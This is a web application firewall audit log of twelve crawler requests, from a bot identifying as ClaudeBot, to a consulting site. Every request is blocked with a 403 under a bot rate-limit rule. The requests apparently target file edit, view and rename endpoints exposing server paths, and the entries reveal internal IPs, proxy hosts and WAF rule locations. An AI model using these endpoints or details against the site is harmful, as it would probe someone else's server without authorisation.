{"transaction":{"time":"13/Mar/2026:09:41:17.827984 +0100","transaction_id":"abPNrbJ190y1fElY11blyAAAAI0","remote_address":"216.73.216.152","remote_port":55842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2F3721429-removebg-preview+%281%29.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7802452cf2cc2151130e9aa31ce451cc","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519580"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7802452cf2cc2151130e9aa31ce451cc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/3721429-removebg-preview (1).png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":174,"p2":1638,"p3":0,"p4":0,"p5":347,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:17.918380 +0100","transaction_id":"abPNreEAMg66iR7kG38e5QAAA0k","remote_address":"216.73.216.152","remote_port":34188,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-bg.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"186e7ebe847e3dcf09e404c4cca17d2d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519583"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"186e7ebe847e3dcf09e404c4cca17d2d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/product-bg.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":183,"p2":1807,"p3":0,"p4":0,"p5":344,"sr":111,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.010496 +0100","transaction_id":"abPNrk26I4peWFmz15ylhAAAAUU","remote_address":"216.73.216.152","remote_port":41722,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Frendu-3d-planete-terre.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6f47877f8c7d8c5fba9e71ff122e117c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519586"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6f47877f8c7d8c5fba9e71ff122e117c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/rendu-3d-planete-terre.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":181,"p2":1847,"p3":0,"p4":0,"p5":402,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.100630 +0100","transaction_id":"abPNrk26I4peWFmz15ylhgAAAVI","remote_address":"216.73.216.152","remote_port":46936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fgenie1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"faf8b850df06d597e8298488066b4175","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519589"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"faf8b850df06d597e8298488066b4175","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/genie1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":228,"p2":1802,"p3":0,"p4":0,"p5":376,"sr":120,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.193639 +0100","transaction_id":"abPNrk26I4peWFmz15ylhwAAAVI","remote_address":"216.73.216.152","remote_port":46936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fowl.video.play.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c29fc16d4e5d2bd3341fef0cc72a6406","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288097"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c29fc16d4e5d2bd3341fef0cc72a6406","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/owl.video.play.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":302,"p2":2460,"p3":0,"p4":0,"p5":440,"sr":130,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.284643 +0100","transaction_id":"abPNrk26I4peWFmz15yliAAAAVI","remote_address":"216.73.216.152","remote_port":46936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fabout-5.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fb5d785d150ff8ea2290e5e17fe96ef0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519592"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fb5d785d150ff8ea2290e5e17fe96ef0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/about-5.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":243,"p2":2464,"p3":0,"p4":0,"p5":407,"sr":128,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.374025 +0100","transaction_id":"abPNruEAMg66iR7kG38e5wAAA0k","remote_address":"216.73.216.152","remote_port":34188,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-4.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2b54d5d2c265dd7c7d733c2574b98e0c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124175"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2b54d5d2c265dd7c7d733c2574b98e0c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/product-4.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":183,"p2":1992,"p3":0,"p4":0,"p5":384,"sr":173,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.464277 +0100","transaction_id":"abPNrk26I4peWFmz15yligAAAVI","remote_address":"216.73.216.152","remote_port":46936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-3.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"67e7c69d53c7c921b8d755822a867b84","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288103"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"67e7c69d53c7c921b8d755822a867b84","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/product-3.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":209,"p2":1691,"p3":0,"p4":0,"p5":298,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.556196 +0100","transaction_id":"abPNrk26I4peWFmz15yliwAAAVI","remote_address":"216.73.216.152","remote_port":46936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fdon.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b81a1cb28eae3c164a89ff5f502b766c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13271790"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b81a1cb28eae3c164a89ff5f502b766c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/don.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":170,"p2":1672,"p3":0,"p4":0,"p5":390,"sr":101,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.648496 +0100","transaction_id":"abPNrk26I4peWFmz15yljAAAAVI","remote_address":"216.73.216.152","remote_port":46936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fabout-4.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1a6ab194e868dafa5f3c61434074fb60","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288106"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1a6ab194e868dafa5f3c61434074fb60","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/about-4.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":226,"p2":1679,"p3":0,"p4":0,"p5":426,"sr":106,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.763164 +0100","transaction_id":"abPNrrJ190y1fElY11blywAAAI0","remote_address":"216.73.216.152","remote_port":55842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fpart3.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"01770c3d9d34c6e480503a77f11e2402","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519598"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"01770c3d9d34c6e480503a77f11e2402","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/part3.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":170,"p2":1666,"p3":0,"p4":0,"p5":279,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:18.924882 +0100","transaction_id":"abPNroB2aIMAFdsi8EHxAAAAAtY","remote_address":"216.73.216.152","remote_port":46944,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fcaroussel4.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"adf19bb037717728f0c529d1569025da","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291450"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"adf19bb037717728f0c529d1569025da","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/caroussel4.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":302,"p2":2957,"p3":0,"p4":0,"p5":441,"sr":201,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
